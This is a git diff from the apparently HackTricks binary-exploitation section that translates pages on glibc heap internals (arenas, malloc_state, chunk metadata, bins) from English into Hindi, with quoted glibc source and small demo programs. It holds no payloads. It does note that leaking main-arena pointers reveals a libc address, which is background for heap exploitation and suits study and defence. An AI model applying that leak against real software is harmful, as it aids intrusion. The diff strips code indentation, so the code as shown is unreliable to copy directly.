मेमोरी आवंटित नहीं करता है; यह बस एक क्षेत्र को निर्दिष्ट करता है जिसे अन्य सिस्टम प्रक्रियाओं या आवंटनों का उपयोग नहीं करना चाहिए। +- डिफ़ॉल्ट रूप से, 32-बिट प्रक्रियाओं के लिए सबहीप के लिए आरक्षित आकार 1 MB और 64-बिट प्रक्रियाओं के लिए 64 MB है। +3. **`mprotect` के साथ क्रमिक विस्तार**: +- आरक्षित मेमोरी क्षेत्र को प्रारंभ में `PROT_NONE` के रूप में चिह्नित किया जाता है, यह दर्शाता है कि कर्नेल को अभी इस स्थान के लिए भौतिक मेमोरी आवंटित करने की आवश्यकता नहीं है। +- सबहीप को "बढ़ाने" के लिए, हीप प्रबंधक `mprotect` का उपयोग करके पृष्ठ अनुमतियों को `PROT_NONE` से `PROT_READ | PROT_WRITE` में बदलता है, जिससे कर्नेल को पहले से आरक्षित पते पर भौतिक मेमोरी आवंटित करने के लिए प्रेरित किया जाता है। यह चरण-दर-चरण दृष्टिकोण सबहीप को आवश्यकतानुसार बढ़ने की अनुमति देता है। +- एक बार जब पूरा सबहीप समाप्त हो जाता है, तो हीप प्रबंधक एक नया सबहीप बनाता है ताकि आवंटन जारी रह सके। ### heap_info -This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info. - +यह संरचना हीप की प्रासंगिक जानकारी आवंटित करती है। इसके अलावा, अधिक आवंटनों के बाद हीप मेमोरी निरंतर नहीं हो सकती है, यह संरचना उस जानकारी को भी संग्रहीत करेगी। ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 typedef struct _heap_info { - mstate ar_ptr; /* Arena for this heap. */ - struct _heap_info *prev; /* Previous heap. */ - size_t size; /* Current size in bytes. */ - size_t mprotect_size; /* Size in bytes that has been mprotected - PROT_READ|PROT_WRITE. */ - size_t pagesize; /* Page size used when allocating the arena. */ - /* Make sure the following data is properly aligned, particularly - that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of - MALLOC_ALIGNMENT. */ - char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; +mstate ar_ptr; /* Arena for this heap. */ +struct _heap_info *prev; /* Previous heap. */ +size_t size; /* Current size in bytes. */ +size_t mprotect_size; /* Size in bytes that has been mprotected +PROT_READ|PROT_WRITE. */ +size_t pagesize; /* Page size used when allocating the arena. */ +/* Make sure the following data is properly aligned, particularly +that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of +MALLOC_ALIGNMENT. */ +char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; } heap_info; ``` - ### malloc_state -**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\ -It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\ -In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**. +**प्रत्येक हीप** (मुख्य एरेना या अन्य थ्रेड्स एरेना) के पास एक **`malloc_state` संरचना है।**\ +यह ध्यान रखना महत्वपूर्ण है कि **मुख्य एरेना `malloc_state`** संरचना **libc में एक वैश्विक चर है** (इसलिए libc मेमोरी स्पेस में स्थित है)।\ +**थ्रेड्स के हीप के `malloc_state`** संरचनाओं के मामले में, वे **अपने थ्रेड "हीप" के अंदर** स्थित हैं। -There some interesting things to note from this structure (see C code below): +इस संरचना से कुछ दिलचस्प बातें नोट करने के लिए हैं (नीचे C कोड देखें): -- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time -- Flags: +- `__libc_lock_define (, mutex);` यह सुनिश्चित करने के लिए है कि इस हीप से यह संरचना एक समय में 1 थ्रेड द्वारा एक्सेस की जाए +- फ्लैग्स: - - ```c - #define NONCONTIGUOUS_BIT (2U) +- ```c +#define NONCONTIGUOUS_BIT (2U) - #define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) - #define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) - #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) - #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) - ``` - -- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used) - - Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**. -- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas -- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space. -- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here. +#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0) +#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0) +#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) +#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) +``` +- `mchunkptr bins[NBINS * 2 - 2];` में **पहले और अंतिम चंक्स** के लिए **पॉइंटर्स** होते हैं जो छोटे, बड़े और असंरचित **बिन्स** के होते हैं (यह -2 इसलिए है क्योंकि इंडेक्स 0 का उपयोग नहीं किया जाता) +- इसलिए, इन बिन्स का **पहला चंक** इस संरचना के लिए एक **पीछे की ओर पॉइंटर** होगा और इन बिन्स का **अंतिम चंक** इस संरचना के लिए एक **आगे की ओर पॉइंटर** होगा। जिसका मतलब है कि यदि आप **मुख्य एरेना में इन पते को लीक कर सकते हैं** तो आपके पास **libc** में संरचना के लिए एक पॉइंटर होगा। +- संरचनाएँ `struct malloc_state *next;` और `struct malloc_state *next_free;` एरेनास की लिंक्ड लिस्ट हैं +- `top` चंक अंतिम "चंक" है, जो मूल रूप से **सभी हीप शेष स्थान** है। एक बार जब शीर्ष चंक "खाली" हो जाता है, तो हीप पूरी तरह से उपयोग किया जाता है और इसे अधिक स्थान का अनुरोध करने की आवश्यकता होती है। +- `last reminder` चंक उन मामलों से आता है जहां एक सटीक आकार का चंक उपलब्ध नहीं है और इसलिए एक बड़ा चंक विभाजित किया जाता है, एक पॉइंटर शेष भाग यहां रखा जाता है। ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812 struct malloc_state { - /* Serialize access. */ - __libc_lock_define (, mutex); +/* Serialize access. */ +__libc_lock_define (, mutex); - /* Flags (formerly in max_fast). */ - int flags; +/* Flags (formerly in max_fast). */ +int flags; - /* Set if the fastbin chunks contain recently inserted free blocks. */ - /* Note this is a bool but not all targets support atomics on booleans. */ - int have_fastchunks; +/* Set if the fastbin chunks contain recently inserted free blocks. */ +/* Note this is a bool but not all targets support atomics on booleans. */ +int have_fastchunks; - /* Fastbins */ - mfastbinptr fastbinsY[NFASTBINS]; +/* Fastbins */ +mfastbinptr fastbinsY[NFASTBINS]; - /* Base of the topmost chunk -- not otherwise kept in a bin */ - mchunkptr top; +/* Base of the topmost chunk -- not otherwise kept in a bin */ +mchunkptr top; - /* The remainder from the most recent split of a small request */ - mchunkptr last_remainder; +/* The remainder from the most recent split of a small request */ +mchunkptr last_remainder; - /* Normal bins packed as described above */ - mchunkptr bins[NBINS * 2 - 2]; +/* Normal bins packed as described above */ +mchunkptr bins[NBINS * 2 - 2]; - /* Bitmap of bins */ - unsigned int binmap[BINMAPSIZE]; +/* Bitmap of bins */ +unsigned int binmap[BINMAPSIZE]; - /* Linked list */ - struct malloc_state *next; +/* Linked list */ +struct malloc_state *next; - /* Linked list for free arenas. Access to this field is serialized - by free_list_lock in arena.c. */ - struct malloc_state *next_free; +/* Linked list for free arenas. Access to this field is serialized +by free_list_lock in arena.c. */ +struct malloc_state *next_free; - /* Number of threads attached to this arena. 0 if the arena is on - the free list. Access to this field is serialized by - free_list_lock in arena.c. */ - INTERNAL_SIZE_T attached_threads; +/* Number of threads attached to this arena. 0 if the arena is on +the free list. Access to this field is serialized by +free_list_lock in arena.c. */ +INTERNAL_SIZE_T attached_threads; - /* Memory allocated from the system in this arena. */ - INTERNAL_SIZE_T system_mem; - INTERNAL_SIZE_T max_system_mem; +/* Memory allocated from the system in this arena. */ +INTERNAL_SIZE_T system_mem; +INTERNAL_SIZE_T max_system_mem; }; ``` - ### malloc_chunk -This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks. - +यह संरचना मेमोरी के एक विशेष टुकड़े का प्रतिनिधित्व करती है। विभिन्न फ़ील्ड्स आवंटित और अव्यवस्थित टुकड़ों के लिए अलग-अलग अर्थ रखते हैं। ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c struct malloc_chunk { - INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ - INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ - struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk; - /* Only used for large blocks: pointer to next larger size. */ - struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ - struct malloc_chunk* bk_nextsize; +INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */ +INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ +struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk; +/* Only used for large blocks: pointer to next larger size. */ +struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */ +struct malloc_chunk* bk_nextsize; }; typedef struct malloc_chunk* mchunkptr; ``` - -As commented previously, these chunks also have some metadata, very good represented in this image: +जैसा कि पहले टिप्पणी की गई थी, इन चंक्स में कुछ मेटाडेटा भी होते हैं, जो इस छवि में बहुत अच्छे से दर्शाए गए हैं:

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

-The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate: +मेटाडेटा आमतौर पर 0x08B होता है जो वर्तमान चंक आकार को दर्शाता है, अंतिम 3 बिट्स का उपयोग करके: -- `A`: If 1 it comes from a subheap, if 0 it's in the main arena -- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap -- `P`: If 1, the previous chunk is in use +- `A`: यदि 1 है तो यह एक सबहीप से आता है, यदि 0 है तो यह मुख्य एरेना में है +- `M`: यदि 1 है, तो यह चंक mmap के साथ आवंटित स्थान का हिस्सा है और हीप का हिस्सा नहीं है +- `P`: यदि 1 है, तो पिछले चंक का उपयोग हो रहा है -Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated). +फिर, उपयोगकर्ता डेटा के लिए स्थान, और अंत में 0x08B यह दर्शाने के लिए कि चंक उपलब्ध होने पर पिछले चंक का आकार (या जब यह आवंटित होता है तो उपयोगकर्ता डेटा को स्टोर करने के लिए)। -Moreover, when available, the user data is used to contain also some data: +इसके अलावा, जब उपलब्ध होता है, तो उपयोगकर्ता डेटा में कुछ डेटा भी शामिल होता है: -- **`fd`**: Pointer to the next chunk -- **`bk`**: Pointer to the previous chunk -- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself -- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself +- **`fd`**: अगले चंक का पॉइंटर +- **`bk`**: पिछले चंक का पॉइंटर +- **`fd_nextsize`**: सूची में पहला चंक जिसका आकार स्वयं से छोटा है +- **`bk_nextsize`:** सूची में पहला चंक जिसका आकार स्वयं से बड़ा है

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

> [!NOTE] -> Note how liking the list this way prevents the need to having an array where every single chunk is being registered. +> इस तरह सूची को जोड़ने से यह आवश्यकता समाप्त हो जाती है कि हर एक चंक को पंजीकृत करने के लिए एक एरे हो। -### Chunk Pointers - -When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\ -For these conversions these functions are used: +### चंक पॉइंटर्स +जब malloc का उपयोग किया जाता है, तो उस सामग्री का पॉइंटर लौटाया जाता है जिसे लिखा जा सकता है (हेडर के ठीक बाद), हालाँकि, चंक्स का प्रबंधन करते समय, हेडर (मेटाडेटा) की शुरुआत के लिए एक पॉइंटर की आवश्यकता होती है।\ +इन परिवर्तनों के लिए ये फ़ंक्शन उपयोग किए जाते हैं: ```c // https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -207,13 +200,11 @@ For these conversions these functions are used: /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \ - (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) +(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)) ``` - ### Alignment & min size -The pointer to the chunk and `0x0f` must be 0. - +चंक के लिए पॉइंटर और `0x0f` को 0 होना चाहिए। ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61 #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) @@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0. #define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0) #define misaligned_chunk(p) \ - ((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ - & MALLOC_ALIGN_MASK) +((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \ +& MALLOC_ALIGN_MASK) /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant - if passed a literal constant. */ +if passed a literal constant. */ #define request2size(req) \ - (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ - MINSIZE : \ - ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) +(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \ +MINSIZE : \ +((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting - value is less than PTRDIFF_T. Returns the requested size or - MINSIZE in case the value is less than MINSIZE, or 0 if any of the - previous checks fail. */ +value is less than PTRDIFF_T. Returns the requested size or +MINSIZE in case the value is less than MINSIZE, or 0 if any of the +previous checks fail. */ static inline size_t checked_request2size (size_t req) __nonnull (1) { - if (__glibc_unlikely (req > PTRDIFF_MAX)) - return 0; +if (__glibc_unlikely (req > PTRDIFF_MAX)) +return 0; - /* When using tagged memory, we cannot share the end of the user - block with the header for the next chunk, so ensure that we - allocate blocks that are rounded up to the granule size. Take - care not to overflow from close to MAX_SIZE_T to a small - number. Ideally, this would be part of request2size(), but that - must be a macro that produces a compile time constant if passed - a constant literal. */ - if (__glibc_unlikely (mtag_enabled)) - { - /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ - asm (""); +/* When using tagged memory, we cannot share the end of the user +block with the header for the next chunk, so ensure that we +allocate blocks that are rounded up to the granule size. Take +care not to overflow from close to MAX_SIZE_T to a small +number. Ideally, this would be part of request2size(), but that +must be a macro that produces a compile time constant if passed +a constant literal. */ +if (__glibc_unlikely (mtag_enabled)) +{ +/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ +asm (""); - req = (req + (__MTAG_GRANULE_SIZE - 1)) & - ~(size_t)(__MTAG_GRANULE_SIZE - 1); - } +req = (req + (__MTAG_GRANULE_SIZE - 1)) & +~(size_t)(__MTAG_GRANULE_SIZE - 1); +} - return request2size (req); +return request2size (req); } ``` +ध्यान दें कि कुल स्थान की गणना के लिए केवल `SIZE_SZ` को 1 बार जोड़ा गया है क्योंकि `prev_size` फ़ील्ड का उपयोग डेटा संग्रहीत करने के लिए किया जा सकता है, इसलिए केवल प्रारंभिक हेडर की आवश्यकता है। -Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed. +### चंक डेटा प्राप्त करें और मेटाडेटा को बदलें -### Get Chunk data and alter metadata - -These functions work by receiving a pointer to a chunk and are useful to check/set metadata: - -- Check chunk flags +ये फ़ंक्शन एक चंक के लिए एक पॉइंटर प्राप्त करके काम करते हैं और मेटाडेटा की जांच/सेट करने के लिए उपयोगी होते हैं: +- चंक फ़्लैग की जांच करें ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained - from a non-main arena. This is only set immediately before handing - the chunk to the user, if necessary. */ +from a non-main arena. This is only set immediately before handing +the chunk to the user, if necessary. */ #define NON_MAIN_ARENA 0x4 /* Check for chunk from main arena. */ @@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Mark a chunk as not being on the main arena. */ #define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA) ``` - -- Sizes and pointers to other chunks - +- अन्य चंक्स के आकार और पॉइंटर्स ```c /* - Bits to mask off when extracting size +Bits to mask off when extracting size - Note: IS_MMAPPED is intentionally not masked off from size field in - macros for which mmapped chunks should never be seen. This should - cause helpful core dumps to occur if it is tried by accident by - people extending or adapting this malloc. - */ +Note: IS_MMAPPED is intentionally not masked off from size field in +macros for which mmapped chunks should never be seen. This should +cause helpful core dumps to occur if it is tried by accident by +people extending or adapting this malloc. +*/ #define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) /* Get size, ignoring use bits */ @@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Treat space at ptr + offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ``` - -- Insue bit - +- इन्स्यू बिट ```c /* extract p's inuse bit */ #define inuse(p) \ - ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) +((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE) /* set/clear chunk as being inuse without otherwise disturbing */ #define set_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE #define clear_inuse(p) \ - ((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) +((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE) /* check/set/clear inuse bits in known places */ #define inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE) #define set_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE) #define clear_inuse_bit_at_offset(p, s) \ - (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) +(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` - -- Set head and footer (when chunk nos in use - +- हेड और फुटर सेट करें (जब चंक नंबर का उपयोग किया जा रहा हो) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s /* Set size at footer (only when chunk is not in use) */ #define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s)) ``` - -- Get the size of the real usable data inside the chunk - +- चंक के अंदर वास्तविक उपयोगी डेटा का आकार प्राप्त करें ```c #pragma GCC poison mchunk_size #pragma GCC poison mchunk_prev_size /* This is the size of the real usable data in the chunk. Not valid for - dumped heap chunks. */ +dumped heap chunks. */ #define memsize(p) \ - (__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ - chunksize (p) - CHUNK_HDR_SZ : \ - chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) +(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \ +chunksize (p) - CHUNK_HDR_SZ : \ +chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) /* If memory tagging is enabled the layout changes to accommodate the granule - size, this is wasteful for small allocations so not done by default. - Both the chunk header and user data has to be granule aligned. */ +size, this is wasteful for small allocations so not done by default. +Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ, - "memory tagging is not supported with large granule."); +"memory tagging is not supported with large granule."); static __always_inline void * tag_new_usable (void *ptr) { - if (__glibc_unlikely (mtag_enabled) && ptr) - { - mchunkptr cp = mem2chunk(ptr); - ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); - } - return ptr; +if (__glibc_unlikely (mtag_enabled) && ptr) +{ +mchunkptr cp = mem2chunk(ptr); +ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); +} +return ptr; } ``` +## उदाहरण -## Examples - -### Quick Heap Example - -Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64: +### त्वरित हीप उदाहरण +[https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) से त्वरित हीप उदाहरण लेकिन arm64 में: ```c #include #include @@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http void main(void) { - char *ptr; - ptr = malloc(0x10); - strcpy(ptr, "panda"); +char *ptr; +ptr = malloc(0x10); +strcpy(ptr, "panda"); } ``` - -Set a breakpoint at the end of the main function and lets find out where the information was stored: +मुख्य फ़ंक्शन के अंत में एक ब्रेकपॉइंट सेट करें और चलिए पता लगाते हैं कि जानकारी कहाँ संग्रहीत की गई थी:
-It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`. - -The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number. +यह देखना संभव है कि स्ट्रिंग panda `0xaaaaaaac12a0` पर संग्रहीत की गई थी (जो कि `x0` के अंदर malloc द्वारा दी गई प्रतिक्रिया का पता था)। 0x10 बाइट्स पहले चेक करने पर यह देखा जा सकता है कि `0x0` दर्शाता है कि **पिछला टुकड़ा उपयोग में नहीं है** (लंबाई 0) और इस टुकड़े की लंबाई `0x21` है। +आरक्षित अतिरिक्त स्थान (0x21-0x10=0x11) **जोड़े गए हेडर** (0x10) से आता है और 0x1 का मतलब यह नहीं है कि इसे 0x21B के लिए आरक्षित किया गया था, बल्कि वर्तमान हेडेड की लंबाई के अंतिम 3 बिट्स का कुछ विशेष अर्थ है। चूंकि लंबाई हमेशा 16-बाइट संरेखित होती है (64-बिट मशीनों में), ये बिट्स वास्तव में लंबाई संख्या द्वारा कभी उपयोग नहीं किए जाएंगे। ``` 0x1: Previous in Use - Specifies that the chunk before it in memory is in use 0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap() 0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena ``` - -### Multithreading Example +### मल्टीथ्रेडिंग उदाहरण
-Multithread - +मल्टीथ्रेड ```c #include #include @@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1 void* threadFuncMalloc(void* arg) { - printf("Hello from thread 1\n"); - char* addr = (char*) malloc(1000); - printf("After malloc and before free in thread 1\n"); - free(addr); - printf("After free in thread 1\n"); +printf("Hello from thread 1\n"); +char* addr = (char*) malloc(1000); +printf("After malloc and before free in thread 1\n"); +free(addr); +printf("After free in thread 1\n"); } void* threadFuncNoMalloc(void* arg) { - printf("Hello from thread 2\n"); +printf("Hello from thread 2\n"); } int main() { - pthread_t t1; - void* s; - int ret; - char* addr; +pthread_t t1; +void* s; +int ret; +char* addr; - printf("Before creating thread 1\n"); - getchar(); - ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); - getchar(); +printf("Before creating thread 1\n"); +getchar(); +ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL); +getchar(); - printf("Before creating thread 2\n"); - ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); +printf("Before creating thread 2\n"); +ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL); - printf("Before exit\n"); - getchar(); +printf("Before exit\n"); +getchar(); - return 0; +return 0; } ``` -
-Debugging the previous example it's possible to see how at the beginning there is only 1 arena: +पिछले उदाहरण को डिबग करते समय यह देखा जा सकता है कि शुरुआत में केवल 1 एरेना है:
-Then, after calling the first thread, the one that calls malloc, a new arena is created: +फिर, पहले थ्रेड को कॉल करने के बाद, जो malloc को कॉल करता है, एक नया एरेना बनाया जाता है:
-and inside of it some chunks can be found: +और इसके अंदर कुछ चंक्स पाए जा सकते हैं:
-## Bins & Memory Allocations/Frees +## बिन और मेमोरी आवंटन/फ्रीज़ -Check what are the bins and how are they organized and how memory is allocated and freed in: +जांचें कि बिन क्या हैं और उन्हें कैसे व्यवस्थित किया गया है और मेमोरी कैसे आवंटित और मुक्त की जाती है: {{#ref}} bins-and-memory-allocations.md {{#endref}} -## Heap Functions Security Checks +## हीप फ़ंक्शंस सुरक्षा जांच -Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted: +हीप में शामिल फ़ंक्शन अपने कार्यों को करने से पहले कुछ जांच करेंगे ताकि यह सुनिश्चित किया जा सके कि हीप भ्रष्ट नहीं हुआ है: {{#ref}} heap-memory-functions/heap-functions-security-checks.md {{#endref}} -## References +## संदर्भ - [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/) - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/) diff --git a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md index eb184fc93..c64b14d3f 100644 --- a/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/src/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -1,61 +1,56 @@ -# Bins & Memory Allocations +# बिन और मेमोरी आवंटन {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## बुनियादी जानकारी -In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. +चंक्स को स्टोर करने की दक्षता को सुधारने के लिए, हर चंक केवल एक लिंक्ड लिस्ट में नहीं होता, बल्कि कई प्रकार होते हैं। ये बिन हैं और 5 प्रकार के बिन हैं: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) छोटे बिन, 63 बड़े बिन, 1 असॉर्टेड बिन, 10 फास्ट बिन और 64 टीकैश बिन प्रति थ्रेड। -The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins. +प्रत्येक असॉर्टेड, छोटे और बड़े बिन के लिए प्रारंभिक पता उसी ऐरे के अंदर होता है। इंडेक्स 0 अनुपयोगी है, 1 असॉर्टेड बिन है, बिन 2-64 छोटे बिन हैं और बिन 65-127 बड़े बिन हैं। -### Tcache (Per-Thread Cache) Bins +### टीकैश (प्रति-थ्रेड कैश) बिन -Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**. +हालांकि थ्रेड अपने खुद के हीप (देखें [एरेनास](bins-and-memory-allocations.md#arenas) और [सबहीप्स](bins-and-memory-allocations.md#subheaps)) रखने की कोशिश करते हैं, एक प्रक्रिया जिसमें बहुत सारे थ्रेड होते हैं (जैसे एक वेब सर्वर) **दूसरे थ्रेड के साथ हीप साझा करने की संभावना होती है**। इस मामले में, मुख्य समाधान **लॉकर** का उपयोग है, जो **थ्रेड्स को महत्वपूर्ण रूप से धीमा कर सकता है**। -Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit 